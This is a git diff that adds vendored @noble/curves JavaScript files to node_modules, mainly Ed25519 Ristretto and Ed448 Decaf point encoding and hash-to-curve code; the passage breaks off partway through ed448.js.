tv2 = Fp.mul(tv2, gxd); // 29. tv2 = tv2 * gxd + let e2 = Fp.eql(tv2, gx2); // 30. e2 = tv2 == gx2 + let y2 = Fp.cmov(y22, y21, e2); // 31. y2 = CMOV(y22, y21, e2) # If g(x2) is square, this is its sqrt + tv2 = Fp.sqr(y1); // 32. tv2 = y1^2 + tv2 = Fp.mul(tv2, gxd); // 33. tv2 = tv2 * gxd + let e3 = Fp.eql(tv2, gx1); // 34. e3 = tv2 == gx1 + let xn = Fp.cmov(x2n, x1n, e3); // 35. xn = CMOV(x2n, x1n, e3) # If e3, x = x1, else x = x2 + let y = Fp.cmov(y2, y1, e3); // 36. y = CMOV(y2, y1, e3) # If e3, y = y1, else y = y2 + let e4 = Fp.isOdd(y); // 37. e4 = sgn0(y) == 1 # Fix sign of y + y = Fp.cmov(y, Fp.neg(y), e3 !== e4); // 38. y = CMOV(y, -y, e3 XOR e4) + return { xMn: xn, xMd: xd, yMn: y, yMd: _1n }; // 39. return (xn, xd, y, 1) +} +const ELL2_C1_EDWARDS = FpSqrtEven(Fp, Fp.neg(BigInt(486664))); // sgn0(c1) MUST equal 0 +function map_to_curve_elligator2_edwards25519(u) { + const { xMn, xMd, yMn, yMd } = map_to_curve_elligator2_curve25519(u); // 1. (xMn, xMd, yMn, yMd) = + // map_to_curve_elligator2_curve25519(u) + let xn = Fp.mul(xMn, yMd); // 2. xn = xMn * yMd + xn = Fp.mul(xn, ELL2_C1_EDWARDS); // 3. xn = xn * c1 + let xd = Fp.mul(xMd, yMn); // 4. xd = xMd * yMn # xn / xd = c1 * xM / yM + let yn = Fp.sub(xMn, xMd); // 5. yn = xMn - xMd + let yd = Fp.add(xMn, xMd); // 6. yd = xMn + xMd # (n / d - 1) / (n / d + 1) = (n - d) / (n + d) + let tv1 = Fp.mul(xd, yd); // 7. tv1 = xd * yd + let e = Fp.eql(tv1, Fp.ZERO); // 8. e = tv1 == 0 + xn = Fp.cmov(xn, Fp.ZERO, e); // 9. xn = CMOV(xn, 0, e) + xd = Fp.cmov(xd, Fp.ONE, e); // 10. xd = CMOV(xd, 1, e) + yn = Fp.cmov(yn, Fp.ONE, e); // 11. yn = CMOV(yn, 1, e) + yd = Fp.cmov(yd, Fp.ONE, e); // 12. yd = CMOV(yd, 1, e) + const inv = Fp.invertBatch([xd, yd]); // batch division + return { x: Fp.mul(xn, inv[0]), y: Fp.mul(yn, inv[1]) }; // 13. return (xn, xd, yn, yd) +} +const htf = /* @__PURE__ */ (() => createHasher(ed25519.ExtendedPoint, (scalars) => map_to_curve_elligator2_edwards25519(scalars[0]), { + DST: 'edwards25519_XMD:SHA-512_ELL2_RO_', + encodeDST: 'edwards25519_XMD:SHA-512_ELL2_NU_', + p: Fp.ORDER, + m: 1, + k: 128, + expand: 'xmd', + hash: sha512, +}))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); +function assertRstPoint(other) { + if (!(other instanceof RistPoint)) + throw new Error('RistrettoPoint expected'); +} +// √(-1) aka √(a) aka 2^((p-1)/4) +const SQRT_M1 = ED25519_SQRT_M1; +// √(ad - 1) +const SQRT_AD_MINUS_ONE = BigInt('25063068953384623474111414158702152701244531502492656460079210482610430750235'); +// 1 / √(a-d) +const INVSQRT_A_MINUS_D = BigInt('54469307008909316920995813868745141605393597292927456921205312896311721017578'); +// 1-d² +const ONE_MINUS_D_SQ = BigInt('1159843021668779879193775521855586647937357759715417654439879720876111806838'); +// (d-1)² +const D_MINUS_ONE_SQ = BigInt('40440834346308536858101042469323190826248399146238708352240133220865137265952'); +// Calculates 1/√(number) +const invertSqrt = (number) => uvRatio(_1n, number); +const MAX_255B = BigInt('0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const bytes255ToNumberLE = (bytes) => ed25519.CURVE.Fp.create(bytesToNumberLE(bytes) & MAX_255B); +// Computes Elligator map for Ristretto +// https://ristretto.group/formulas/elligator.html +function calcElligatorRistrettoMap(r0) { + const { d } = ed25519.CURVE; + const P = ed25519.CURVE.Fp.ORDER; + const mod = ed25519.CURVE.Fp.create; + const r = mod(SQRT_M1 * r0 * r0); // 1 + const Ns = mod((r + _1n) * ONE_MINUS_D_SQ); // 2 + let c = BigInt(-1); // 3 + const D = mod((c - d * r) * mod(r + d)); // 4 + let { isValid: Ns_D_is_sq, value: s } = uvRatio(Ns, D); // 5 + let s_ = mod(s * r0); // 6 + if (!isNegativeLE(s_, P)) + s_ = mod(-s_); + if (!Ns_D_is_sq) + s = s_; // 7 + if (!Ns_D_is_sq) + c = r; // 8 + const Nt = mod(c * (r - _1n) * D_MINUS_ONE_SQ - D); // 9 + const s2 = s * s; + const W0 = mod((s + s) * D); // 10 + const W1 = mod(Nt * SQRT_AD_MINUS_ONE); // 11 + const W2 = mod(_1n - s2); // 12 + const W3 = mod(_1n + s2); // 13 + return new ed25519.ExtendedPoint(mod(W0 * W3), mod(W2 * W1), mod(W1 * W3), mod(W0 * W2)); +} +/** + * Each ed25519/ExtendedPoint has 8 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Ristretto was created to solve this. + * Ristretto point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +class RistPoint { + // Private property to discourage combining ExtendedPoint + RistrettoPoint + // Always use Ristretto encoding/decoding instead. + constructor(ep) { + this.ep = ep; + } + static fromAffine(ap) { + return new RistPoint(ed25519.ExtendedPoint.fromAffine(ap)); + } + /** + * Takes uniform output of 64-byte hash function like sha512 and converts it to `RistrettoPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://ristretto.group/formulas/elligator.html + * @param hex 64-byte output of a hash function + */ + static hashToCurve(hex) { + hex = ensureBytes('ristrettoHash', hex, 64); + const r1 = bytes255ToNumberLE(hex.slice(0, 32)); + const R1 = calcElligatorRistrettoMap(r1); + const r2 = bytes255ToNumberLE(hex.slice(32, 64)); + const R2 = calcElligatorRistrettoMap(r2); + return new RistPoint(R1.add(R2)); + } + /** + * Converts ristretto-encoded string to ristretto point. + * https://ristretto.group/formulas/decoding.html + * @param hex Ristretto-encoded 32 bytes. Not every 32-byte string is valid ristretto encoding + */ + static fromHex(hex) { + hex = ensureBytes('ristrettoHex', hex, 32); + const { a, d } = ed25519.CURVE; + const P = ed25519.CURVE.Fp.ORDER; + const mod = ed25519.CURVE.Fp.create; + const emsg = 'RistrettoPoint.fromHex: the hex is not valid encoding of RistrettoPoint'; + const s = bytes255ToNumberLE(hex); + // 1. Check that s_bytes is the canonical encoding of a field element, or else abort. + // 3. Check that s is non-negative, or else abort + if (!equalBytes(numberToBytesLE(s, 32), hex) || isNegativeLE(s, P)) + throw new Error(emsg); + const s2 = mod(s * s); + const u1 = mod(_1n + a * s2); // 4 (a is -1) + const u2 = mod(_1n - a * s2); // 5 + const u1_2 = mod(u1 * u1); + const u2_2 = mod(u2 * u2); + const v = mod(a * d * u1_2 - u2_2); // 6 + const { isValid, value: I } = invertSqrt(mod(v * u2_2)); // 7 + const Dx = mod(I * u2); // 8 + const Dy = mod(I * Dx * v); // 9 + let x = mod((s + s) * Dx); // 10 + if (isNegativeLE(x, P)) + x = mod(-x); // 10 + const y = mod(u1 * Dy); // 11 + const t = mod(x * y); // 12 + if (!isValid || isNegativeLE(t, P) || y === _0n) + throw new Error(emsg); + return new RistPoint(new ed25519.ExtendedPoint(x, y, _1n, t)); + } + /** + * Encodes ristretto point to Uint8Array. + * https://ristretto.group/formulas/encoding.html + */ + toRawBytes() { + let { ex: x, ey: y, ez: z, et: t } = this.ep; + const P = ed25519.CURVE.Fp.ORDER; + const mod = ed25519.CURVE.Fp.create; + const u1 = mod(mod(z + y) * mod(z - y)); // 1 + const u2 = mod(x * y); // 2 + // Square root always exists + const u2sq = mod(u2 * u2); + const { value: invsqrt } = invertSqrt(mod(u1 * u2sq)); // 3 + const D1 = mod(invsqrt * u1); // 4 + const D2 = mod(invsqrt * u2); // 5 + const zInv = mod(D1 * D2 * t); // 6 + let D; // 7 + if (isNegativeLE(t * zInv, P)) { + let _x = mod(y * SQRT_M1); + let _y = mod(x * SQRT_M1); + x = _x; + y = _y; + D = mod(D1 * INVSQRT_A_MINUS_D); + } + else { + D = D2; // 8 + } + if (isNegativeLE(x * zInv, P)) + y = mod(-y); // 9 + let s = mod((z - y) * D); // 10 (check footer's note, no sqrt(-a)) + if (isNegativeLE(s, P)) + s = mod(-s); + return numberToBytesLE(s, 32); // 11 + } + toHex() { + return bytesToHex(this.toRawBytes()); + } + toString() { + return this.toHex(); + } + // Compare one point to another. + equals(other) { + assertRstPoint(other); + const { ex: X1, ey: Y1 } = this.ep; + const { ex: X2, ey: Y2 } = other.ep; + const mod = ed25519.CURVE.Fp.create; + // (x1 * y2 == y1 * x2) | (y1 * y2 == x1 * x2) + const one = mod(X1 * Y2) === mod(Y1 * X2); + const two = mod(Y1 * Y2) === mod(X1 * X2); + return one || two; + } + add(other) { + assertRstPoint(other); + return new RistPoint(this.ep.add(other.ep)); + } + subtract(other) { + assertRstPoint(other); + return new RistPoint(this.ep.subtract(other.ep)); + } + multiply(scalar) { + return new RistPoint(this.ep.multiply(scalar)); + } + multiplyUnsafe(scalar) { + return new RistPoint(this.ep.multiplyUnsafe(scalar)); + } +} +export const RistrettoPoint = /* @__PURE__ */ (() => { + if (!RistPoint.BASE) + RistPoint.BASE = new RistPoint(ed25519.ExtendedPoint.BASE); + if (!RistPoint.ZERO) + RistPoint.ZERO = new RistPoint(ed25519.ExtendedPoint.ZERO); + return RistPoint; +})(); +// Hashing to ristretto255. https://www.rfc-editor.org/rfc/rfc9380#appendix-B +export const hashToRistretto255 = (msg, options) => { + const d = options.DST; + const DST = typeof d === 'string' ? utf8ToBytes(d) : d; + const uniform_bytes = expand_message_xmd(msg, DST, 64, sha512); + const P = RistPoint.hashToCurve(uniform_bytes); + return P; +}; +export const hash_to_ristretto255 = hashToRistretto255; // legacy +//# sourceMappingURL=ed25519.js.map \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/ed25519.js.map b/node_modules/@noble/curves/esm/ed25519.js.map new file mode 100644 index 000000000000..19410d9a85d9 --- /dev/null +++ b/node_modules/@noble/curves/esm/ed25519.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ed25519.js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jD,CAAC;IAED,cAAc,CAAC,MAAc;QAC3B,OAAO,IAAI,SAAS,CAAC,IAAI,CAAC,EAAE,CAAC,cAAc,CAAC,MAAM,CAAC,CAAC,CAAC;IACvD,CAAC;CACF;AACD,MAAM,CAAC,MAAM,cAAc,GAAG,eAAe,CAAC,CAAC,GAAG,EAAE;IAClD,IAAI,CAAC,SAAS,CAAC,IAAI;QAAE,SAAS,CAAC,IAAI,GAAG,IAAI,SAAS,CAAC,OAAO,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC;IAChF,IAAI,CAAC,SAAS,CAAC,IAAI;QAAE,SAAS,CAAC,IAAI,GAAG,IAAI,SAAS,CAAC,OAAO,CAAC,aAAa,CAAC,IAAI,CAAC,CAAC;IAChF,OAAO,SAAS,CAAC;AACnB,CAAC,CAAC,EAAE,CAAC;AAEL,6EAA6E;AAC7E,MAAM,CAAC,MAAM,kBAAkB,GAAG,CAAC,GAAe,EAAE,OAAqB,EAAE,EAAE;IAC3E,MAAM,CAAC,GAAG,OAAO,CAAC,GAAG,CAAC;IACtB,MAAM,GAAG,GAAG,OAAO,CAAC,KAAK,QAAQ,CAAC,CAAC,CAAC,WAAW,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;IACvD,MAAM,aAAa,GAAG,kBAAkB,CAAC,GAAG,EAAE,GAAG,EAAE,EAAE,EAAE,MAAM,CAAC,CAAC;IAC/D,MAAM,CAAC,GAAG,SAAS,CAAC,WAAW,CAAC,aAAa,CAAC,CAAC;IAC/C,OAAO,CAAC,CAAC;AACX,CAAC,CAAC;AACF,MAAM,CAAC,MAAM,oBAAoB,GAAG,kBAAkB,CAAC,CAAC,SAAS"} \ No newline at end of file diff --git a/node_modules/@noble/curves/esm/ed448.js b/node_modules/@noble/curves/esm/ed448.js new file mode 100644 index 000000000000..b58237126e76 --- /dev/null +++ b/node_modules/@noble/curves/esm/ed448.js @@ -0,0 +1,392 @@ +/*! noble-curves - MIT License (c) 2022 Paul Miller (paulmillr.com) */ +import { shake256 } from '@noble/hashes/sha3'; +import { concatBytes, randomBytes, utf8ToBytes, wrapConstructor } from '@noble/hashes/utils'; +import { twistedEdwards } from './abstract/edwards.js'; +import { mod, pow2, Field, isNegativeLE } from './abstract/modular.js'; +import { montgomery } from './abstract/montgomery.js'; +import { createHasher, expand_message_xof } from './abstract/hash-to-curve.js'; +import { bytesToHex, bytesToNumberLE, ensureBytes, equalBytes, numberToBytesLE, } from './abstract/utils.js'; +/** + * Edwards448 (not Ed448-Goldilocks) curve with following addons: + * - X448 ECDH + * - Decaf cofactor elimination + * - Elligator hash-to-group / point indistinguishability + * Conforms to RFC 8032 https://www.rfc-editor.org/rfc/rfc8032.html#section-5.2 + */ +const shake256_114 = wrapConstructor(() => shake256.create({ dkLen: 114 })); +const shake256_64 = wrapConstructor(() => shake256.create({ dkLen: 64 })); +const ed448P = BigInt('726838724295606890549323807888004534353641360687318060281490199180612328166730772686396383698676545930088884461843637361053498018365439'); +// prettier-ignore +const _1n = BigInt(1), _2n = BigInt(2), _3n = BigInt(3), _4n = BigInt(4), _11n = BigInt(11); +// prettier-ignore +const _22n = BigInt(22), _44n = BigInt(44), _88n = BigInt(88), _223n = BigInt(223); +// powPminus3div4 calculates z = x^k mod p, where k = (p-3)/4. +// Used for efficient square root calculation. +// ((P-3)/4).toString(2) would produce bits [223x 1, 0, 222x 1] +function ed448_pow_Pminus3div4(x) { + const P = ed448P; + const b2 = (x * x * x) % P; + const b3 = (b2 * b2 * x) % P; + const b6 = (pow2(b3, _3n, P) * b3) % P; + const b9 = (pow2(b6, _3n, P) * b3) % P; + const b11 = (pow2(b9, _2n, P) * b2) % P; + const b22 = (pow2(b11, _11n, P) * b11) % P; + const b44 = (pow2(b22, _22n, P) * b22) % P; + const b88 = (pow2(b44, _44n, P) * b44) % P; + const b176 = (pow2(b88, _88n, P) * b88) % P; + const b220 = (pow2(b176, _44n, P) * b44) % P; + const b222 = (pow2(b220, _2n, P) * b2) % P; + const b223 = (pow2(b222, _1n, P) * x) % P; + return (pow2(b223, _223n, P) * b222) % P; +} +function adjustScalarBytes(bytes) { + // Section 5: Likewise, for X448, set the two least significant bits of the first byte to 0, and the most + // significant bit of the last byte to 1. + bytes[0] &= 252; // 0b11111100 + // and the most significant bit of the last byte to 1. + bytes[55] |= 128; // 0b10000000 + // NOTE: is is NOOP for 56 bytes scalars (X25519/X448) + bytes[56] = 0; // Byte outside of group (456 buts vs 448 bits) + return bytes; +} +// Constant-time ratio of u to v. Allows to combine inversion and square root u/√v. +// Uses algo from RFC8032 5.1.3. +function uvRatio(u, v) { + const P = ed448P; + // https://www.rfc-editor.org/rfc/rfc8032#section-5.2.3 + // To compute the square root of (u/v), the first step is to compute the + // candidate root x = (u/v)^((p+1)/4). This can be done using the + // following trick, to use a single modular powering for both the + // inversion of v and the square root: + // x = (u/v)^((p+1)/4) = u³v(u⁵v³)^((p-3)/4) (mod p) + const u2v = mod(u * u * v, P); // u²v + const u3v = mod(u2v * u, P); // u³v + const u5v3 = mod(u3v * u2v * v, P); // u⁵v³ + const root = ed448_pow_Pminus3div4(u5v3); + const x = mod(u3v * root, P); + // Verify that root is exists + const x2 = mod(x * x, P); // x² + // If vx² = u, the recovered x-coordinate is x. Otherwise, no + // square root exists, and the decoding fails. + return { isValid: mod(x2 * v, P) === u, value: x }; +} +const Fp = Field(ed448P, 456, true); +const ED448_DEF = { + // Param: a + a: BigInt(1), + // -39081. Negative number is P - number + d: BigInt('726838724295606890549323807888004534353641360687318060281490199180612328166730772686396383698676545930088884461843637361053498018326358'), + // Finite field 𝔽p over which we'll do calculations; 2n**448n - 2n**224n - 1n + Fp, + // Subgroup order: how many points curve has; + // 2n**446n - 13818066809895115352007386748515426880336692474882178609894547503885n + n: BigInt('181709681073901722637330951972001133588410340171829515070372549795146003961539585716195755291692375963310293709091662304773755859649779'), + nBitLength: 456, + // Cofactor + h: BigInt(4), + // Base point (x, y) aka generator point + Gx: BigInt('224580040295924300187604334099896036246789641632564134246125461686950415467406032909029192869357953282578032075146446173674602635247710'), + Gy: BigInt('298819210078481492676017930443930673437544040154080242095928241372331506189835876003536878655418784733982303233503462500531545062832660'), + // SHAKE256(dom4(phflag,context)||x, 114) + hash: shake256_114, + randomBytes, + adjustScalarBytes, + // dom4 + domain: (data, ctx, phflag) => { + if (ctx.length > 255) + throw new Error(`Context is too big: ${ctx.length}`); + return concatBytes(utf8ToBytes('SigEd448'), new Uint8Array([phflag ? 1 : 0, ctx.length]), ctx, data); + }, + uvRatio, +}; +export const ed448 = /* @__PURE__ */ twistedEdwards(ED448_DEF); +// NOTE: there is no ed448ctx, since ed448 supports ctx by default +export const ed448ph = /* @__PURE__ */ twistedEdwards({ ...ED448_DEF, prehash: shake256_64 }); +export const x448 = /* @__PURE__ */ (() => montgomery({ + a: BigInt(156326), + montgomeryBits: 448, + nByteLength: 57, + P: ed448P, + Gu: BigInt(5), + powPminus2: (x) => { + const P = ed448P; + const Pminus3div4 = ed448_pow_Pminus3div4(x); + const Pminus3 = pow2(Pminus3div4, BigInt(2), P); + return mod(Pminus3 * x, P); // Pminus3 * x = Pminus2 + }, + adjustScalarBytes, + randomBytes, +}))(); +/** + * Converts edwards448 public key to x448 public key. Uses formula: + * * `(u, v) = ((y-1)/(y+1), sqrt(156324)*u/x)` + * * `(x, y) = (sqrt(156324)*u/v, (1+u)/(1-u))` + * @example + * const aPub = ed448.getPublicKey(utils.randomPrivateKey()); + * x448.getSharedSecret(edwardsToMontgomery(aPub), edwardsToMontgomery(someonesPub)) + */ +export function edwardsToMontgomeryPub(edwardsPub) { + const { y } = ed448.ExtendedPoint.fromHex(edwardsPub); + const _1n = BigInt(1); + return Fp.toBytes(Fp.create((y - _1n) * Fp.inv(y + _1n))); +} +export const edwardsToMontgomery = edwardsToMontgomeryPub; // deprecated +// Hash To Curve Elligator2 Map +const ELL2_C1 = (Fp.ORDER - BigInt(3)) / BigInt(4); // 1. c1 = (q - 3) / 4 # Integer arithmetic +const ELL2_J = BigInt(156326); +function map_to_curve_elligator2_curve448(u) { + let tv1 = Fp.sqr(u); // 1. tv1 = u^2 + let e1 = Fp.eql(tv1, Fp.ONE); // 2. e1 = tv1 == 1 + tv1 = Fp.cmov(tv1, Fp.ZERO, e1); // 3. tv1 = CMOV(tv1, 0, e1) # If Z * u^2 == -1, set tv1 = 0 + let xd = Fp.sub(Fp.ONE, tv1); // 4. xd = 1 - tv1 + let x1n = Fp.neg(ELL2_J); // 5. x1n = -J + let tv2 = Fp.sqr(xd); // 6. tv2 = xd^2 + let gxd = Fp.mul(tv2, xd); // 7. gxd = tv2 * xd # gxd = xd^3 + let gx1 = Fp.mul(tv1, Fp.neg(ELL2_J)); // 8. gx1 = -J * tv1 # x1n + J * xd + gx1 = Fp.mul(gx1, x1n); // 9. gx1 = gx1 * x1n # x1n^2 + J * x1n * xd + gx1 = Fp.add(gx1, tv2); // 10. gx1 = gx1 + tv2 # x1n^2 + J * x1n * xd + xd^2 + gx1 = Fp.mul(gx1, x1n); // 11. gx1 = gx1 * x1n # x1n^3 + J * x1n^2 * xd + x1n * xd^2 + let tv3 = Fp.sqr(gxd); // 12. tv3 = gxd^2 + tv2 = Fp.mul(gx1, gxd); // 13. tv2 = gx1 * gxd # gx1 * gxd + tv3 = Fp.mul(tv3, tv2); // 14. tv3 = tv3 * tv2 # gx1 * gxd^3 + let y1 = Fp.pow(tv3, ELL2_C1); // 15. y1 = tv3^c1 # (gx1 * gxd^3)^((p - 3) / 4) + y1 = Fp.mul(y1, tv2); // 16. y1 = y1 * tv2 # gx1 * gxd * (gx1 * gxd^3)^((p - 3) / 4) + let x2n = Fp.mul(x1n, Fp.neg(tv1)); // 17. x2n = -tv1 * x1n # x2 = x2n / xd = -1 * u^2 * x1n / xd + let y2 = Fp.mul(y1, u); // 18. y2 = y1 * u + y2 = Fp.cmov(y2, Fp.ZERO, e1); // 19. y2 = CMOV(y2, 0, e1) + tv2 = Fp.sqr(y1); // 20. tv2 = y1^2 + tv2 = Fp.mul(tv2, gxd); // 21. tv2 = tv2 * gxd + let e2 = Fp.eql(tv2, gx1); // 22. e2 = tv2 == gx1 + let xn = Fp.cmov(x2n, x1n, e2); // 23. xn = CMOV(x2n, x1n, e2) # If e2, x = x1, else x = x2 + let y = Fp.cmov(y2, y1, e2); // 24. y = CMOV(y2, y1, e2) # If e2, y = y1, else y = y2 + let e3 = Fp.isOdd(y); // 25. e3 = sgn0(y) == 1 # Fix sign of y + y = Fp.cmov(y, Fp.neg(y), e2 !== e3); // 26. y = CMOV(y, -y, e2 XOR e3) + return { xn, xd, yn: y, yd: Fp.ONE }; // 27. return (xn, xd, y, 1) +} +function map_to_curve_elligator2_edwards448(u) { + let { xn, xd, yn, yd } = map_to_curve_elligator2_curve448(u); // 1. (xn, xd, yn, yd) = map_to_curve_elligator2_curve448(u) + let xn2 = Fp.sqr(xn); // 2. xn2 = xn^2 + let xd2 = Fp.sqr(xd); // 3. xd2 = xd^2 + let xd4 = Fp.sqr(xd2); // 4. xd4 = xd2^2 + let yn2 = Fp.sqr(yn); // 5. yn2 = yn^2 + let yd2 = Fp.sqr(yd); // 6. yd2 = yd^2 + let xEn = Fp.sub(xn2, xd2); // 7. xEn = xn2 - xd2 + let tv2 = Fp.sub(xEn, xd2); // 8. tv2 = xEn - xd2 + xEn = Fp.mul(xEn, xd2); // 9. xEn = xEn * xd2 + xEn = Fp.mul(xEn, yd); // 10. xEn = xEn * yd + xEn = Fp.mul(xEn, yn); // 11. xEn = xEn * yn + xEn = Fp.mul(xEn, _4n); // 12. xEn = xEn * 4 + tv2 = Fp.mul(tv2, xn2); // 13. tv2 = tv2 * xn2 + tv2 = Fp.mul(tv2, yd2); // 14. tv2 = tv2 * yd2 + let tv3 = Fp.mul(yn2, _4n); // 15. tv3 = 4 * yn2 + let tv1 = Fp.add(tv3, yd2); // 16. tv1 = tv3 + yd2 + tv1 = Fp.mul(tv1, xd4); // 17. tv1 = tv1 * xd4 + let xEd = Fp.add(tv1, tv2); // 18. xEd = tv1 + tv2 + tv2 = Fp.mul(tv2, xn); // 19. tv2 = tv2 * xn + let tv4 = Fp.mul(xn, xd4); // 20. tv4 = xn * xd4 + let yEn = Fp.sub(tv3, yd2); // 21. yEn = tv3 - yd2 + yEn = Fp.mul(yEn, tv4); // 22. yEn = yEn * tv4 + yEn = Fp.sub(yEn, tv2); // 23. yEn = yEn - tv2 + tv1 = Fp.add(xn2, xd2); // 24. tv1 = xn2 + xd2 + tv1 = Fp.mul(tv1, xd2); // 25. tv1 = tv1 * xd2 + tv1 = Fp.mul(tv1, xd); // 26. tv1 = tv1 * xd + tv1 = Fp.mul(tv1, yn2); // 27. tv1 = tv1 * yn2 + tv1 = Fp.mul(tv1, BigInt(-2)); // 28. tv1 = -2 * tv1 + let yEd = Fp.add(tv2, tv1); // 29. yEd = tv2 + tv1 + tv4 = Fp.mul(tv4, yd2); // 30. tv4 = tv4 * yd2 + yEd = Fp.add(yEd, tv4); // 31. yEd = yEd + tv4 + tv1 = Fp.mul(xEd, yEd); // 32. tv1 = xEd * yEd + let e = Fp.eql(tv1, Fp.ZERO); // 33. e = tv1 == 0 + xEn = Fp.cmov(xEn, Fp.ZERO, e); // 34. xEn = CMOV(xEn, 0, e) + xEd = Fp.cmov(xEd, Fp.ONE, e); // 35. xEd = CMOV(xEd, 1, e) + yEn = Fp.cmov(yEn, Fp.ONE, e); // 36. yEn = CMOV(yEn, 1, e) + yEd = Fp.cmov(yEd, Fp.ONE, e); // 37. yEd = CMOV(yEd, 1, e) + const inv = Fp.invertBatch([xEd, yEd]); // batch division + return { x: Fp.mul(xEn, inv[0]), y: Fp.mul(yEn, inv[1]) }; // 38. return (xEn, xEd, yEn, yEd) +} +const htf = /* @__PURE__ */ (() => createHasher(ed448.ExtendedPoint, (scalars) => map_to_curve_elligator2_edwards448(scalars[0]), { + DST: 'edwards448_XOF:SHAKE256_ELL2_RO_', + encodeDST: 'edwards448_XOF:SHAKE256_ELL2_NU_', + p: Fp.ORDER, + m: 1, + k: 224, + expand: 'xof', + hash: shake256, +}))(); +export const hashToCurve = /* @__PURE__ */ (() => htf.hashToCurve)(); +export const encodeToCurve = /* @__PURE__ */ (() => htf.encodeToCurve)(); +function assertDcfPoint(other) { + if (!(other instanceof DcfPoint)) + throw new Error('DecafPoint expected'); +} +// 1-d +const ONE_MINUS_D = BigInt('39082'); +// 1-2d +const ONE_MINUS_TWO_D = BigInt('78163'); +// √(-d) +const SQRT_MINUS_D = BigInt('98944233647732219769177004876929019128417576295529901074099889598043702116001257856802131563896515373927712232092845883226922417596214'); +// 1 / √(-d) +const INVSQRT_MINUS_D = BigInt('315019913931389607337177038330951043522456072897266928557328499619017160722351061360252776265186336876723201881398623946864393857820716'); +// Calculates 1/√(number) +const invertSqrt = (number) => uvRatio(_1n, number); +const MAX_448B = BigInt('0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'); +const bytes448ToNumberLE = (bytes) => ed448.CURVE.Fp.create(bytesToNumberLE(bytes) & MAX_448B); +// Computes Elligator map for Decaf +// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 +function calcElligatorDecafMap(r0) { + const { d } = ed448.CURVE; + const P = ed448.CURVE.Fp.ORDER; + const mod = ed448.CURVE.Fp.create; + const r = mod(-(r0 * r0)); // 1 + const u0 = mod(d * (r - _1n)); // 2 + const u1 = mod((u0 + _1n) * (u0 - r)); // 3 + const { isValid: was_square, value: v } = uvRatio(ONE_MINUS_TWO_D, mod((r + _1n) * u1)); // 4 + let v_prime = v; // 5 + if (!was_square) + v_prime = mod(r0 * v); + let sgn = _1n; // 6 + if (!was_square) + sgn = mod(-_1n); + const s = mod(v_prime * (r + _1n)); // 7 + let s_abs = s; + if (isNegativeLE(s, P)) + s_abs = mod(-s); + const s2 = s * s; + const W0 = mod(s_abs * _2n); // 8 + const W1 = mod(s2 + _1n); // 9 + const W2 = mod(s2 - _1n); // 10 + const W3 = mod(v_prime * s * (r - _1n) * ONE_MINUS_TWO_D + sgn); // 11 + return new ed448.ExtendedPoint(mod(W0 * W3), mod(W2 * W1), mod(W1 * W3), mod(W0 * W2)); +} +/** + * Each ed448/ExtendedPoint has 4 different equivalent points. This can be + * a source of bugs for protocols like ring signatures. Decaf was created to solve this. + * Decaf point operates in X:Y:Z:T extended coordinates like ExtendedPoint, + * but it should work in its own namespace: do not combine those two. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448 + */ +class DcfPoint { + // Private property to discourage combining ExtendedPoint + DecafPoint + // Always use Decaf encoding/decoding instead. + constructor(ep) { + this.ep = ep; + } + static fromAffine(ap) { + return new DcfPoint(ed448.ExtendedPoint.fromAffine(ap)); + } + /** + * Takes uniform output of 112-byte hash function like shake256 and converts it to `DecafPoint`. + * The hash-to-group operation applies Elligator twice and adds the results. + * **Note:** this is one-way map, there is no conversion from point to hash. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-element-derivation-2 + * @param hex 112-byte output of a hash function + */ + static hashToCurve(hex) { + hex = ensureBytes('decafHash', hex, 112); + const r1 = bytes448ToNumberLE(hex.slice(0, 56)); + const R1 = calcElligatorDecafMap(r1); + const r2 = bytes448ToNumberLE(hex.slice(56, 112)); + const R2 = calcElligatorDecafMap(r2); + return new DcfPoint(R1.add(R2)); + } + /** + * Converts decaf-encoded string to decaf point. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-decode-2 + * @param hex Decaf-encoded 56 bytes. Not every 56-byte string is valid decaf encoding + */ + static fromHex(hex) { + hex = ensureBytes('decafHex', hex, 56); + const { d } = ed448.CURVE; + const P = ed448.CURVE.Fp.ORDER; + const mod = ed448.CURVE.Fp.create; + const emsg = 'DecafPoint.fromHex: the hex is not valid encoding of DecafPoint'; + const s = bytes448ToNumberLE(hex); + // 1. Check that s_bytes is the canonical encoding of a field element, or else abort. + // 2. Check that s is non-negative, or else abort + if (!equalBytes(numberToBytesLE(s, 56), hex) || isNegativeLE(s, P)) + throw new Error(emsg); + const s2 = mod(s * s); // 1 + const u1 = mod(_1n + s2); // 2 + const u1sq = mod(u1 * u1); + const u2 = mod(u1sq - _4n * d * s2); // 3 + const { isValid, value: invsqrt } = invertSqrt(mod(u2 * u1sq)); // 4 + let u3 = mod((s + s) * invsqrt * u1 * SQRT_MINUS_D); // 5 + if (isNegativeLE(u3, P)) + u3 = mod(-u3); + const x = mod(u3 * invsqrt * u2 * INVSQRT_MINUS_D); // 6 + const y = mod((_1n - s2) * invsqrt * u1); // 7 + const t = mod(x * y); // 8 + if (!isValid) + throw new Error(emsg); + return new DcfPoint(new ed448.ExtendedPoint(x, y, _1n, t)); + } + /** + * Encodes decaf point to Uint8Array. + * https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-ristretto255-decaf448-07#name-encode-2 + */ + toRawBytes() { + let { ex: x, ey: _y, ez: z, et: t } = this.ep; + const P = ed448.CURVE.Fp.ORDER; + const mod = 